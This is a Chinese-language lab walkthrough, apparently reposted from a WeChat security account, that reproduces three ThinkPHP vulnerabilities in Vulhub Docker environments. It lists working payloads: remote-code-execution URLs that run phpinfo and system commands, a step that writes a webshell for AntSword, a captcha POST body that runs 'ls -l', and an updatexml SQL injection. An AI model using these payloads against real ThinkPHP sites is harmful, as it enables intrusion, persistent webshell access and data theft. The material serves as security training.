ThinkPHP漏洞
一、ThinkPHP 5-RCE
1)漏洞原理
ThinkPHP5披露最多得漏洞就是RCE,其中的影响版本范围非常广
2)影响版本
5.0.0<=ThinkPHP5<=5.0.23 、5.1.0<=ThinkPHP<=5.1.30
不同版本 payload 不同,且5.13版本后还与debug模式有关
3)靶场搭建
cd /pentest/vulhub/thinkphp/5-rce docker-compose up -d |
启动靶场后访问http://192.168.1.137:8080
4)漏洞复现
参考:https://vulhub.org/#/environments/thinkphp/5-rce/
访问http://192.168.1.137:8080/
攻击语句
http://192.168.1.137:8080/index.php?s=/Index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1 |
替换phpinfo部分为php代码即可
上述poc只是简单的运行了phpinfo , 我们可以修改payload , 进而实现漏洞的利用(命令执行)
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami |
http://192.168.1.137:8080/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami |
写入一句话木马,会在网址根目录写入名为1.php的一句话木马。
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "" >1.php |
蚁剑连接
192.168.1.137:8080/1.php
1
记得关闭环境
docker-compose down
二、ThinkPHP 5.0.23-RCE
1)漏洞原理
攻击者可向缓存文件内写入PHP代码,导致远程代码执行。由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞。
2)影响版本
5.x < 5.1.31, <=5.0.23
3)靶场搭建
cd /pentest/vulhub/thinkphp/5.0.23-rce docker-compose up -d http://192.168.1.137:8080 |
4)漏洞复现
可利用位置
http://192.168.1.137:8080/index.php?s=captcha
post请求
_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=-1 |
执行系统命令
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -l |
关闭靶场环境
三、In-sqlinjection
1)漏洞原理
在 Builder 类的 parseData 方法中,由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。
2)影响版本
5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5
3)靶场环境
cd /pentest/vulhub/thinkphp/in-sqlinjection
docker-compose up -d
4)漏洞复现
利用位置
http://192.168.1.137//index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1 |
关闭
docker-compose down
原文始发于微信公众号(智检安全):Vulhub-Thinkphp漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论